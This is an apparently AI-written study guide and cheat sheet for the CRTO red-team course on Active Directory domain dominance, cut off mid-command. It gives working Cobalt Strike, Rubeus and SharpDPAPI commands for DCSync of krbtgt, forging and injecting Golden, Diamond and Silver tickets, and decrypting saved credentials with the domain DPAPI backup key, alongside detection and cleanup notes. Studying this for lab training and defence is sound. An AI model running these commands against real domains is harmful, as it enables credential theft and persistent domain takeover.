Domain Dominance
Quick model First identify which secret is available and how it was obtained. DCSync is a secret-retrieval primitive; Golden, Silver, and Diamond tickets are different ways to use specific keys. DPAPI domain backup-key recovery is a separate branch. A forged or imported ticket is not proof that a target service authorizes access.
High-impact lab material DCSync, ticket forging, privileged ticket injection, and domain DPAPI backup-key recovery handle sensitive domain material and create significant authentication activity. Treat these as explicit, objective-driven course-lab branches. Do not collect secrets or forge tickets as generic exam preparation steps.
Table of Contents
- Fact-check: rights, OPSEC, tickets, and DPAPI
- DCSync and secret retrieval
- Silver ticket prerequisites
- Golden ticket model
- Diamond ticket model
- Compare the ticket types
- DCSync quick reference
- Golden ticket procedure
- Diamond ticket procedure
- Silver ticket procedure
- DPAPI branch
- Master flow
- Shortest memory aid
Fact-check: the points to keep straight
DCSync rights and OPSEC
Domain Admin, Enterprise Admin, or a domain-controller account are common examples of principals that may have replication rights, but they are not the only possible principals. The relevant authorization is on the naming context being replicated. The usual secret-replication rights are:
| Extended right | GUID | Meaning |
|---|---|---|
DS-Replication-Get-Changes |
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 |
Replicate directory changes |
DS-Replication-Get-Changes-All |
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 |
Replicate secret domain data |
DS-Replication-Get-Changes-In-Filtered-Set |
89e95b76-444d-4c62-991a-0facbeda640c |
Access the filtered attribute set when that scope applies; not a blanket requirement for every DCSync request |
The prior spoken note assigned the Get-Changes GUID to both of the first two rights. The second right has a different GUID. See Microsoft's Get-Changes, Get-Changes-All, and Filtered-Set references.
Running DCSync from a domain controller does not make it safe or unobservable. A non-DC source can be a useful anomaly signal, but source host is only one part of detection. The account, granted rights, replication request, source device/IP, and surrounding activity can all matter. Do not select an execution host to evade detection; follow the exercise's explicit scope and rules.
Event 4662 is conditional: the Directory Service Access audit policy must be configured, and the access must match an appropriate SACL on the AD object. Defender for Identity also documents DCSync replication alerts. A missing 4662 therefore does not prove no replication happened, and a 4662 event needs context before it is attributed. See Microsoft's 4662 requirements, audit-policy guidance, and DCSync alert description.
Silver, Golden, and Diamond: scope and detection limits
| Ticket | Secret and ticket | Scope / key limitation |
|---|---|---|
Silver (T1558.002) |
A service or computer-account key; a forged service ticket (TGS) | Intended for a particular service. PAC validation, where performed, can reject invalid KDC-related signatures; behavior depends on the service and OS path, so it is not a universal on/off guarantee. |
Golden (T1558.001) |
The domain krbtgt key; a forged TGT |
A later KDC request for a service ticket may generate Event 4769. Missing or anomalous 4768/4769 context and implausible ticket data are clues, not proof by themselves. krbtgt is not automatically rotated by ordinary account-password changes; properly resetting it twice, with replication and ticket-lifetime considerations, is a standard defensive response that invalidates old-key tickets after both old key versions are displaced. |
| Diamond (Golden-ticket family) | The krbtgt key plus a genuine starting TGT; the TGT/PAC is modified and re-signed |
A real initial TGT can preserve some normal issuance details, but the elevated ticket is still modified. Stale or inconsistent PAC fields can remain, and the technique is not a blanket stealth or OPSEC improvement over Golden. |
For Silver, a service-side 4624 without a corresponding DC 4769 can be a useful clue because an offline-forged TGS did not need a normal TGS exchange. For Golden, a 4769 without a visible prior 4768 can be a clue when the TGT was forged offline. Neither correlation is conclusive: log coverage, retention, DC selection, ticket caching, and pre-existing tickets affect what is visible. Unusually long lifetimes, inconsistent identity/PAC fields, or odd realm formatting can add context, but none is a standalone detector; Kerberos realm names are commonly uppercase and tools may normalize them. A Silver-ticket PAC is not simply “validated by the KDC every time”: PAC validation is a protocol/service behavior, and Microsoft's documentation describes cases where the server OS sends PAC data to a DC for verification, while validation is optional for some self-contained applications (validation flow, optional-use note).
The “almost indefinitely” shorthand needs a caveat: a stolen krbtgt secret can support long-lived forged-ticket capability until the secret is rotated and the relevant old key versions are retired, but it does not create an unchangeable foothold. Microsoft's forest-recovery guidance calls for two resets and a wait based on the domain's maximum ticket lifetime and replication state.
What the DPAPI domain backup key is for
The backup key is not stored in Windows Credential Manager. Active Directory stores DPAPI backup-key objects in the domain partition's CN=System container. Credential Manager is one example of a store that can contain DPAPI-protected user credentials. Conceptually, a domain user's DPAPI masterkey has a backup-protected form; the domain backup key can recover applicable masterkeys, which can then be used to decrypt the corresponding DPAPI blobs when those files and their required context are available.
DPAPI domain backup key
↓
recover a domain user's applicable masterkey
↓
decrypt a DPAPI-protected blob
↓
read that particular saved secret
This is a recovery path for applicable domain-user DPAPI material, not an automatic decryption of every credential or application secret on every machine. It is separate from krbtgt and Kerberos tickets. Microsoft states that domain backup keys are generated when the domain is created and currently have no officially supported rotation procedure; handle them as highly sensitive recovery material. See the DPAPI backup-key documentation and BackupKey Remote Protocol overview.
Domain Dominance = I have high-impact directory access. Which secret, if any, does the stated objective require?
2026-09-25 17:55 SGT
You caught the two important conceptual mistakes. Silver does not require DCSync, and Diamond is not quite “created by the domain.” The clean mental model is based on which cryptographic secret you possess.
Domain Dominance - corrected mental model
Think of the whole chapter as:
DOMAIN DOMINANCE
│
"I reached high privilege.
What root secrets can I preserve?"
│
┌──────────────────┼──────────────────┐
▼ ▼ ▼
ACCOUNT SECRETS krbtgt SECRET DPAPI BACKUP KEY
│ │ │
service / │ Decrypt domain
computer keys │ users' DPAPI data
│ │
▼ ┌─────┴─────┐
SILVER TICKET ▼ ▼
GOLDEN DIAMOND
The key idea is:
DCSync is a way to obtain secrets. Ticket forgery is a way to use secrets.
They are two different stages.
1. What DCSync actually is
DCSync abuses Active Directory's replication mechanism.
Normally:
DC1 ───── replication ─────> DC2
With sufficient replication privileges:
YOU ─── "replicate this account" ───> DC
│
▼
account secrets
For example:
beacon> dcsync contoso.com CONTOSO\krbtgt
gets the krbtgt material.
But you could conceptually request another account:
DCSync → krbtgt
DCSync → service account
DCSync → user account
etc.
So:
DCSync ≠ Golden Ticket
DCSync ≠ Silver Ticket
DCSync ≠ Diamond Ticket
DCSync = GET SECRET
Then:
SECRET → decide what you can forge
2. Does Silver Ticket require DCSync?
No.
This was the key correction.
A Silver Ticket requires:
the secret belonging to the service that will accept the TGS.
A Silver Ticket is a forged service ticket/TGS for one particular service.
For example:
CIFS on LON-DB-1
│
▼
runs using computer/service identity
│
▼
that identity has a Kerberos key
If you obtain that key:
Service/computer key
↓
Forge TGS
↓
CIFS/LON-DB-1 accepts it
Where could you get that key?
Several possibilities conceptually:
compromise machine
↓
obtain computer-account secret
↓
Silver Ticket
compromise service-account password
↓
derive service key
↓
Silver Ticket
Kerberoast / credential compromise
↓
service account password
↓
Silver Ticket
DCSync service account
↓
service key
↓
Silver Ticket
So DCSync is merely one possible source of the service secret.
Your material explicitly gives a non-DCSync example: obtaining the plaintext password of an MSSQL service account and then deriving its Kerberos keys before forging an MSSQL Silver Ticket.
That proves the distinction.
3. Why does Silver work?
This part makes everything click.
A service ticket is ultimately intended for:
MSSQL
CIFS
HTTP
LDAP
etc.
The target service must be able to decrypt its ticket.
So imagine:
SERVICE TICKET
│
│ encrypted using
▼
SERVICE'S SECRET
Therefore if you possess:
MSSQL service key
you can create something that:
MSSQL can decrypt
without necessarily possessing:
krbtgt
That's why Silver Tickets are possible before Domain Admin/domain dominance in some attack chains.
4. Silver versus Golden is really about which key you stole
This is the rule I'd memorize.
WHAT SECRET DO I HAVE?
│
├── Service/computer secret
│ ↓
│ SILVER
│
└── krbtgt secret
↓
GOLDEN / DIAMOND
That's much better than thinking:
DCSync → Silver
DCSync → Golden
DCSync → Diamond
because that model is incorrect.
5. Golden Ticket
Golden requires the:
krbtgt key
because the krbtgt account is what protects TGTs.
The source defines Golden Ticket as a forged TGT signed using the KDC/krbtgt secret.
Normal Kerberos:
User
↓
KDC
↓
TGT
↓
KDC
↓
TGS
↓
service
Golden:
krbtgt key
↓
forge TGT locally
↓
inject TGT
↓
KDC
↓
request legitimate TGS
↓
service
That's an extremely important distinction from Silver.
6. Golden creates TGT; Silver creates TGS
Memorize this:
SILVER GOLDEN
TGS TGT
│ │
for one service for the domain
│ │
service key krbtgt key
│ │
▼ ▼
directly use service ask KDC for TGS
After importing a Golden Ticket, Windows goes through the normal TGS exchange when you access a service. Your material demonstrates exactly this behavior.
So:
Golden does NOT normally mean:
"forge every TGS yourself"
Golden means:
"forge the TGT that lets me legitimately request TGSs."
7. Then your question: if I can Golden Ticket, why would I ever Silver Ticket?
This is where attack progression matters.
Before obtaining krbtgt
You might have:
Local Admin on LON-DB-1
+
LON-DB-1 computer secret
but no Domain Admin.
You cannot Golden Ticket.
But you might Silver Ticket:
computer key
↓
forge CIFS ticket
↓
retain access to LON-DB-1
The course specifically gives persistent local access as a common Silver Ticket scenario.
So Silver occupies a different privilege level.
8. What if I ALREADY have krbtgt?
Then your instinct is correct:
For raw capability, Golden/ Diamond largely supersede Silver.
Because:
Golden TGT
↓
ask KDC for CIFS
ask KDC for LDAP
ask KDC for MSSQL
ask KDC for HTTP
...
Why bother constructing individual Silver Tickets?
Usually you don't need to for capability.
Silver remains a different tradecraft option because:
Silver:
does not need KDC interaction to create/use the forged TGS
Golden:
use forged TGT and normally contact KDC for TGSs
But that doesn't mean Silver is automatically "stealthier." For example, your course notes an important detection opportunity:
Service sees logon → 4624
but
DC never saw corresponding TGS request → no 4769
because the Silver Ticket was forged offline.
So it's a different telemetry pattern, not simply "better."
9. Why Golden at all if you already DCSynced?
This is another very good question.
Because:
DCSync gets you the secret. Golden operationalizes that secret.
Imagine your Beacon dies.
Before:
Domain Admin Beacon
│
▼
DCSync
│
▼
krbtgt AES256
Then tomorrow:
Original Beacon = DEAD
Administrator password = CHANGED
Your compromised account = DISABLED
But you kept:
krbtgt AES256
So:
krbtgt
↓
forge new TGT
↓
impersonate privileged identity
↓
regain Kerberos access
That's the persistence/dominance idea.
DCSync itself does not give you a reusable Windows logon session.
It's:
DCSync = extraction primitive
Golden/Diamond = authentication-ticket primitive
10. Could you just DCSync Administrator's password hash instead?
Yes.
Conceptually:
DCSync Administrator
↓
NTLM/AES keys
↓
authenticate as Administrator
But that ties your access to that account's secret.
If Administrator's password changes:
old secret → invalid
krbtgt has historically been particularly valuable because changing ordinary user passwords does not invalidate your knowledge of the krbtgt key.
That is why it is the classic domain-dominance target.
11. Diamond Ticket - your understanding needs one small correction
You said:
Diamond is the only one actually created in the domain / online.
Close, but I'd phrase it differently:
Diamond is KDC-assisted rather than completely offline-forged.
The domain does not issue you an Administrator Diamond Ticket.
What actually happens:
CURRENT USER
│
│ normal Kerberos request
▼
KDC
│
▼
LEGITIMATE TGT
│
▼
attacker obtains that TGT
│
│ krbtgt key
▼
decrypt ticket
│
▼
modify PAC / identity
│
▼
re-sign + re-encrypt locally
│
▼
DIAMOND TGT
Your course describes Diamond exactly this way: request a legitimate TGT, decrypt it using the KDC secret, alter identity/group information, and re-encrypt/re-sign it.
Therefore:
SILVER
100% forged offline
GOLDEN
100% forged offline
DIAMOND
legitimate TGT obtained online
+
modified/re-signed locally
I'd memorize KDC-assisted, not "created online."
12. Why Diamond if Golden already lets you impersonate anyone?
Because Diamond doesn't grant more privilege.
Both ultimately give you a powerful TGT.
The difference is how the starting TGT is obtained and what ticket details it carries. That can change what defenders observe; it does not make Diamond inherently quiet.
Golden
YOU
↓
construct TGT from scratch
↓
sign with krbtgt
You have to decide things like:
ticket lifetime
flags
groups
user ID
metadata
Mistakes can be anomalous.
Your course specifically notes that forged Golden Tickets can stand out through things like abnormal lifetime information or a missing prior AS-REQ/4768.
Diamond
KDC
↓
genuine TGT
↓
modify important authorization fields
The modified ticket may retain some of the starting ticket's:
ticket structure
lifetime and flags
initial KDC issuance context
That is a limited difference from building a TGT from scratch.
The course describes those preserved details and the legitimate initial AS exchange as possible advantages. They do not make the altered authorization data legitimate, and mismatched PAC fields can still stand out. Treat “more aligned with normal metadata” as a limited comparison with a from-scratch ticket, not a guarantee of better OPSEC.
Diamond is therefore:
not stronger than Golden - it's an alternative way of producing the TGT.
13. One sentence for each technique
This is your memory layer.
DCSync
= Ask AD replication for account secrets.
Silver
= I own a SERVICE'S key, so I forge that service's TGS.
Golden
= I own KRBTGT's key, so I forge my own TGT from scratch.
Diamond
= I own KRBTGT's key, obtain a legitimate TGT,
then alter and re-sign it.
DPAPI Backup Key
= I own the domain's recovery key for users'
DPAPI masterkeys/secrets.
14. Full Domain Dominance attack hierarchy
DOMAIN DOMINANCE
│
▼
GET HIGH-VALUE SECRETS
│
┌────────────────────┼─────────────────────┐
│ │ │
▼ ▼ ▼
DCSync Other service DPAPI BACKUP
│ compromise KEY
│ │ │
┌─────┴─────┐ ▼ ▼
▼ ▼ service/computer DPAPI masterkeys
krbtgt other account key │
key keys │ ▼
│ ▼ saved secrets
│ SILVER
│
┌───┴────────┐
▼ ▼
GOLDEN DIAMOND
Notice:
Silver does not sit underneath DCSync.
That's the correction.
15. CRTO cheat sheet - DCSync
Purpose
Get AD account secrets through replication.
Typical krbtgt
beacon> dcsync contoso.com CONTOSO\krbtgt
Mental translation:
domain = contoso.com
account = CONTOSO\krbtgt
result = krbtgt NTLM/AES material
What you care about for the ticket examples:
aes256_hmac
Then ask:
I have krbtgt.
Do I want:
Golden?
or
Diamond?
16. Golden Ticket cheat sheet
Create
Rubeus.exe golden \
/aes256:<KRBTGT_AES256> \
/user:<USER> \
/domain:<DOMAIN_FQDN> \
/sid:<DOMAIN_SID> \
/nowrap
The parameters match the course's Golden Ticket example.
Meaning:
/aes256 = krbtgt AES key
/user = identity placed into forged TGT
/domain = domain
/sid = domain SID
Result:
base64(ticket.kirbi)
Create logon context
beacon> make_token CONTOSO\Administrator FakePass
Don't misunderstand FakePass.
For a netonly logon:
password isn't what gives you Kerberos access
Your injected ticket will.
Inject ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<BASE64_TICKET>
ptt:
Pass The Ticket
Inspect
beacon> run klist
Golden should conceptually show:
Client: Administrator
Server: krbtgt/CONTOSO.COM
Then when a service is accessed, an additional TGS appears. The source demonstrates this behavior after accessing CIFS.
17. Diamond Ticket cheat sheet
Rubeus.exe diamond \
/tgtdeleg \
/krbkey:<KRBTGT_AES256> \
/ticketuser:<TARGET_USER> \
/ticketuserid:<TARGET_RID> \
/domain:<DOMAIN> \
/nowrap
Course meaning:
/tgtdeleg
obtain usable legitimate TGT material
/krbkey
krbtgt key
/ticketuser
identity you want in modified ticket
/ticketuserid
corresponding RID
/domain
domain
Mental sequence:
KDC
↓
legitimate TGT
↓
decrypt
↓
change PAC
↓
re-sign
↓
Diamond
Then:
make_token
↓
ptt
↓
klist
↓
access service
18. Inspect Diamond Ticket
The source also demonstrates:
Rubeus.exe describe \
/servicekey:<KRBTGT_KEY> \
/ticket:<BASE64_TICKET>
This allows you to inspect the PAC.
You can compare:
original legitimate TGT
vs
modified Diamond TGT
The material even demonstrates that some original metadata may remain, such as FullName, which itself could be anomalous.
19. Silver Ticket cheat sheet
Suppose you own the computer's AES key.
CIFS example
Rubeus.exe silver \
/service:cifs/<HOST> \
/aes256:<COMPUTER_AES256> \
/user:<IMPERSONATED_USER> \
/domain:<DOMAIN> \
/sid:<DOMAIN_SID> \
/nowrap
Your source's example uses a computer-account AES key to forge a ticket for cifs/lon-db-1.
Mental translation:
/service
= EXACT SPN I'm targeting
/aes256
= secret belonging to the service/computer
/user
= identity inside TGS
Notice:
NO krbtgt required.
20. Silver using service-account password
Suppose you obtained:
CONTOSO\mssql_svc
Password123
First derive Kerberos keys:
Rubeus.exe hash \
/user:mssql_svc \
/domain:CONTOSO.COM \
/password:<PASSWORD>
Output:
rc4_hmac
aes128
aes256
The source demonstrates this exact flow before forging the MSSQL ticket.
Then forge:
Rubeus.exe silver \
/service:MSSQLSvc/<SERVER>:1433 \
/rc4:<SERVICE_KEY> \
/user:<TARGET_USER> \
/id:<USER_RID> \
/groups:<GROUP_RIDS> \
/domain:<DOMAIN> \
/sid:<DOMAIN_SID> \
/nowrap
Then:
make_token
↓
ptt
↓
klist
↓
connect to MSSQL
The course follows the Silver Ticket with SQLRecon using the Windows token.
21. Golden vs Silver klist
This is a really good exam sanity check.
Golden
Server:
krbtgt/CONTOSO.COM
means:
TGT
Silver CIFS
Server:
cifs/lon-db-1
means:
TGS
Silver MSSQL
Server:
MSSQLSvc/lon-db-1.contoso.com:1433
means:
TGS
The source shows exactly those service-ticket entries.
22. Reset token
After the operation:
beacon> rev2self
rev2self only returns Beacon to its original token; it does not remove a forged or imported ticket from the logon-session cache. If this was a disposable, isolated test session, purge tickets in that same session and verify the cache afterward using the ticket cleanup in the detailed reference. Do not purge an unrelated or shared session. Remove any lab-created ticket file separately after recording the minimum non-secret evidence.
Think:
make_token
↓
temporary impersonation context
↓
rev2self
↓
return to original Beacon identity
23. DPAPI - completely different branch
Now forget Kerberos.
This branch is:
saved secret
↓
encrypted using DPAPI
↓
DPAPI masterkey
Domain users have a recovery mechanism based around the domain DPAPI backup key.
Conceptually:
DOMAIN DPAPI BACKUP KEY
│
├── applicable domain-user masterkeys
│
▼
DPAPI-protected secrets
So the mental distinction is:
krbtgt
↓
Kerberos
DPAPI Backup Key
↓
DPAPI secrets
Never mix these two.
24. DPAPI cheat sheet
Get domain backup key
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe backupkey
Look for:
Preferred backupkey Guid
Key : <BASE64 KEY>
Enumerate credentials on a machine
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials
You may see:
CredFile
MasterKey GUID
but:
[X] MasterKey GUID not in cache
means:
Found encrypted thing
but can't currently recover corresponding masterkey.
Supply domain backup key
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /pvk:<BACKUP_KEY>
Mental model:
Domain Backup Key
↓
recover/decrypt user's masterkey
↓
masterkey
↓
decrypt DPAPI blob
↓
plaintext saved credential
25. Full command flow to memorize
Don't memorize them as random commands. Memorize the workflow.
========================================
DOMAIN DOMINANCE WORKFLOW
========================================
1. Obtain root/domain secrets
DCSync:
dcsync <domain> <DOMAIN\account>
========================================
KRBTGT FOUND
========================================
Option A - GOLDEN
Rubeus golden
↓
base64 TGT
↓
make_token
↓
Rubeus ptt
↓
klist
↓
access service
Option B - DIAMOND
Rubeus diamond
↓
legitimate TGT + PAC modification
↓
make_token
↓
Rubeus ptt
↓
klist
↓
access service
========================================
SERVICE / COMPUTER KEY FOUND
========================================
SILVER
Rubeus silver
↓
base64 TGS
↓
make_token
↓
Rubeus ptt
↓
klist
↓
access THAT service
========================================
DPAPI BACKUP KEY
========================================
SharpDPAPI backupkey
↓
save key
↓
SharpDPAPI credentials
↓
SharpDPAPI credentials /pvk:<KEY>
↓
decrypt DPAPI secrets
26. The CRTO "what do I use?" decision tree
This is probably the one worth screenshotting.
I GOT A SECRET
│
▼
What secret is it?
│
├─────────────────────────────────────────┐
│ │
▼ ▼
SERVICE / COMPUTER KEY KRBTGT KEY
│ │
▼ ▼
Can forge service TGS Can forge/modify TGT
│ │
▼ ┌──────┴──────┐
SILVER ▼ ▼
GOLDEN DIAMOND
│ │
from scratch start from
offline legitimate TGT
DOMAIN DPAPI BACKUP KEY
│
▼
Recover domain-user DPAPI masterkeys
│
▼
Decrypt DPAPI-protected secrets
27. Final corrections to your understanding
Your updated understanding should be:
1. DCSync is not required for Silver Tickets. Silver needs the service/computer key. DCSync is merely one possible way of obtaining such a secret.
2. DCSync is commonly used to obtain krbtgt, which then enables Golden or Diamond Tickets. It isn't the ticket attack itself.
3. Golden and Silver are truly offline-forged tickets.
Golden → forge TGT from scratch
Silver → forge TGS from scratch
4. Diamond is better described as KDC-assisted.
request genuine TGT online
↓
modify/re-sign locally
The KDC never intentionally issues you an Administrator Diamond Ticket.
5. If you already have krbtgt, Golden/Diamond generally make Silver unnecessary for raw privilege. Silver matters especially when you only compromise one service/computer secret and don't possess the domain's krbtgt secret.
6. Golden versus Diamond is not a privilege difference.
Both → powerful TGT capability
Golden → manufacture from scratch
Diamond → modify legitimate TGT
7. Domain Dominance therefore isn't really “three ticket attacks.”
It's:
STEAL DOMAIN ROOT SECRETS
↓
choose how to use them
krbtgt → Golden/Diamond
service key → Silver
DPAPI backup key → DPAPI credential recovery
That is the conceptual hierarchy I would use for the CRTO material.
2026-09-25 19:17 SGT
Yes. Here is the version I would keep as your single CRTO Domain Dominance cheat sheet. The important improvement is that every command answers three questions:
What do I already have? → What do I run? → What does that give me next?
Domain Dominance - master flow
START
│
▼
I have high AD privileges
│
┌─────────────┴──────────────┐
▼ ▼
Want Kerberos control? Want DPAPI secrets?
│ │
▼ ▼
DCSync SharpDPAPI backupkey
│ │
▼ ▼
krbtgt AES key DPAPI backup key
│ │
┌────┴────┐ ▼
▼ ▼ credentials /pvk
GOLDEN DIAMOND
│ │
└────┬────┘
▼
inject TGT
│
▼
request/use services
SEPARATE PATH:
service/computer secret
│
▼
SILVER
│
▼
forged service TGS
0. Values you need to recognize
Most of the commands are just filling these placeholders:
<DOMAIN>
<DOMAIN_SID>
<KRBTGT_AES256>
<SERVICE_AES256>
or
<SERVICE_RC4>
<TARGET_USER>
<TARGET_RID>
<TARGET_GROUP_RIDS>
<BASE64_TICKET>
<DPAPI_BACKUP_KEY>
Don't memorize hashes. Memorize where each value comes from.
1. DCSync → obtain krbtgt
You have
Domain Admin / Enterprise Admin
or equivalent directory replication rights
Run
beacon> dcsync contoso.com CONTOSO\krbtgt
Look for
Hash NTLM: ...
Primary:Kerberos-Newer-Keys
aes256_hmac:
5129200...
Save
KRBTGT_AES256
Conceptually:
DCSync
↓
krbtgt account
↓
AES256 key
↓
Golden OR Diamond
This is why DCSync matters here.
2. Golden Ticket
You need
KRBTGT_AES256
DOMAIN
DOMAIN SID
USER you want represented in ticket
Create TGT
Your course command pattern is:
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:<USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap
Example from the material:
Rubeus.exe golden /aes256:512920... /user:Administrator /domain:CONTOSO.COM /sid:S-1-5-21-... /nowrap
Output you want
[*] Forged a TGT for 'Administrator@CONTOSO.COM'
base64(ticket.kirbi):
doIFg...
Save:
<BASE64_TICKET>
3. Prepare a logon context
Your course then does:
beacon> make_token CONTOSO\Administrator FakePass
Result:
[+] Impersonated CONTOSO\Administrator (netonly)
Think of this as:
new network logon context
+
Kerberos ticket we're about to insert
The actual Kerberos capability comes from the injected ticket.
4. Inject the Golden Ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<BASE64_TICKET>
ptt:
Pass The Ticket
The course demonstrates the sequence make_token → ptt → klist.
5. Verify with klist
beacon> run klist
For Golden, initially look for:
Client: Administrator @ CONTOSO.COM
Server:
krbtgt/CONTOSO.COM @ CONTOSO.COM
That means:
TGT exists
Then after accessing something such as CIFS, Windows obtains a TGS and you may see:
Server:
cifs/lon-dc-1 @ CONTOSO.COM
The course shows the forged TGT followed by an automatically obtained CIFS TGS.
6. Golden flow in one chain
dcsync CONTOSO\krbtgt
↓
KRBTGT AES256
↓
Rubeus golden
↓
BASE64 TGT
↓
make_token
↓
Rubeus ptt
↓
klist
↓
access service
↓
KDC issues corresponding TGS
That's the whole Golden path.
7. Diamond Ticket
Diamond starts from the same root secret:
KRBTGT AES256
But instead of creating the whole TGT from scratch:
obtain legitimate TGT
↓
decrypt
↓
change identity/PAC
↓
re-sign
Command
From your source:
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /krbkey:<KRBTGT_AES256> /ticketuser:<TARGET_USER> /ticketuserid:<RID> /domain:<DOMAIN> /nowrap
Example shape:
Rubeus.exe diamond /tgtdeleg /krbkey:512920... /ticketuser:Administrator /ticketuserid:500 /domain:CONTOSO.COM /nowrap
8. What every Diamond parameter means
/tgtdeleg
↓
obtain usable legitimate TGT material
/krbkey
↓
krbtgt AES key
/ticketuser
↓
user identity to put into modified ticket
/ticketuserid
↓
RID of that user
/domain
↓
domain
The source explicitly defines these parameters.
Then again:
Diamond output
↓
base64(ticket.kirbi)
↓
make_token
↓
Rubeus ptt
↓
klist
9. Inspect a Diamond Ticket
Your course also gives you a useful diagnostic command:
Rubeus.exe describe /servicekey:<KRBTGT_AES256> /ticket:<BASE64_TICKET>
Purpose:
decrypt/display ticket information
↓
inspect PAC
↓
see user / groups / RID / metadata
The material uses it to inspect the original legitimate ticket and then the modified Diamond ticket.
This command is worth remembering for understanding what's actually inside the ticket.
10. Silver Ticket - different starting point
Do not start this mental path at DCSync.
Start here:
I have the secret belonging to
ONE SERVICE / COMPUTER
Example:
LON-DB-1$ AES key
or:
mssql_svc password/key
Then:
SERVICE KEY
↓
SILVER
↓
TGS directly
11. Silver Ticket with computer AES key
You need
service name/SPN
computer/service AES key
target identity
domain
domain SID
Command
From your material:
Rubeus.exe silver /service:cifs/<HOST> /aes256:<SERVICE_AES256> /user:<USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap
Example structure:
Rubeus.exe silver /service:cifs/lon-db-1 /aes256:<KEY> /user:Administrator /domain:CONTOSO.COM /sid:<SID> /nowrap
Output:
[*] Forged a TGS for 'Administrator'
to 'cifs/lon-db-1'
base64(ticket.kirbi):
...
Notice:
Golden output = TGT
Silver output = TGS
12. Inject Silver
Same pattern:
beacon> make_token CONTOSO\Administrator FakePass
Then:
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<BASE64_TICKET>
Then:
beacon> run klist
Silver should show something like:
Server:
cifs/lon-db-1 @ CONTOSO.COM
The source demonstrates this exact CIFS ticket in the cache.
13. Use the CIFS ticket
Your course checks the target share with:
beacon> ls \\lon-db-1\c$
Conceptually:
Silver CIFS ticket
↓
access CIFS
↓
\\target\c$
This is a useful way to remember that the service in /service: determines what that ticket is for.
14. Silver Ticket from a plaintext service password
The MSSQL example is especially useful because it shows that you absolutely do not need DCSync.
Starting point:
I know:
CONTOSO\mssql_svc
+
plaintext password
First convert the password into Kerberos-compatible keys.
Command
Rubeus.exe hash /user:mssql_svc /domain:CONTOSO.COM /password:<PASSWORD>
The material shows output such as:
rc4_hmac
aes128_cts_hmac_sha1
aes256_cts_hmac_sha1
So:
plaintext service password
↓
Rubeus hash
↓
RC4 / AES key
↓
Silver Ticket
15. MSSQL Silver Ticket
The course then runs:
Rubeus.exe silver /service:MSSQLSvc/<SERVER>:1433 /rc4:<SERVICE_RC4> /user:<USER> /id:<USER_RID> /groups:<GROUP_RIDS> /domain:<DOMAIN> /sid:<DOMAIN_SID> /nowrap
The exact example is in your material.
Important new parameters:
/id
↓
RID of impersonated user
/groups
↓
group RIDs included in ticket
The course example specifically explains those values.
16. Inject MSSQL ticket
Again:
beacon> make_token CONTOSO\rsteel FakePass
then:
Rubeus.exe ptt /ticket:<BASE64_TICKET>
then:
beacon> run klist
Look for:
Server:
MSSQLSvc/lon-db-1.contoso.com:1433
That means:
MSSQL service TGS successfully loaded
The course demonstrates that ticket in the cache.
17. Test MSSQL
Your supplied command is:
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:lon-db-1.contoso.com /m:info
Meaning conceptually:
/a:wintoken
↓
authenticate using current Windows identity/ticket
/h
↓
SQL host
/m:info
↓
query SQL Server information
The source then shows SQLRecon seeing the impersonated user as the current logon.
18. rev2self
After using an impersonated Beacon token:
beacon> rev2self
This ends token impersonation only. If a ticket was imported into an isolated test logon session, follow the separate purge and klist readback before calling the ticket cleanup complete; never purge unrelated session tickets.
Meaning:
stop impersonating
↓
return Beacon to original token
Your source uses it after the Silver Ticket example.
So remember:
make_token
↓
do Kerberos work
↓
rev2self
19. DPAPI Backup Key
Now switch mental models completely.
You have:
Domain Admin
You want:
domain DPAPI backup key
Run
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe backupkey
Look for:
[*] Preferred backupkey Guid : ...
[*] Key : HvG1s[...]lXQns=
Save:
<DPAPI_BACKUP_KEY>
20. Find DPAPI credentials
With sufficient local access on the target:
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials
You might see:
Folder:
C:\Users\pchilds\AppData\Local\Microsoft\Credentials\
CredFile:
...
guidMasterKey:
{...}
[X] MasterKey GUID not in cache
That means:
credential blob found
↓
associated masterkey identified
↓
but currently cannot decrypt it
21. Use the domain DPAPI backup key
Now add:
/pvk:<BACKUP_KEY>
Full command:
beacon> execute-assembly C:\Tools\SharpDPAPI\SharpDPAPI\bin\Release\SharpDPAPI.exe credentials /pvk:<DPAPI_BACKUP_KEY>
Conceptually:
DPAPI backup key
↓
recover user's masterkey
↓
masterkey decrypts credential blob
↓
plaintext credential
That is how the pchilds example eventually reveals:
TargetName:
Domain:target=TERMSRV/lon-ws-1
UserName:
LON-WS-1\Administrator
Credential:
...
22. Everything condensed into one cheat sheet
============================================================
DCSYNC
============================================================
HAVE:
Replication privilege / high domain privilege
RUN:
dcsync <domain> <DOMAIN\krbtgt>
GET:
krbtgt NTLM/AES keys
NEXT:
Golden or Diamond
============================================================
GOLDEN
============================================================
HAVE:
krbtgt AES256
domain
domain SID
RUN:
Rubeus.exe golden \
/aes256:<KRBTGT_AES256> \
/user:<USER> \
/domain:<DOMAIN> \
/sid:<SID> \
/nowrap
GET:
Base64 forged TGT
THEN:
make_token DOMAIN\User FakePass
Rubeus.exe ptt /ticket:<BASE64>
run klist
EXPECT:
Server: krbtgt/DOMAIN
============================================================
DIAMOND
============================================================
HAVE:
krbtgt AES256
target user + RID
RUN:
Rubeus.exe diamond \
/tgtdeleg \
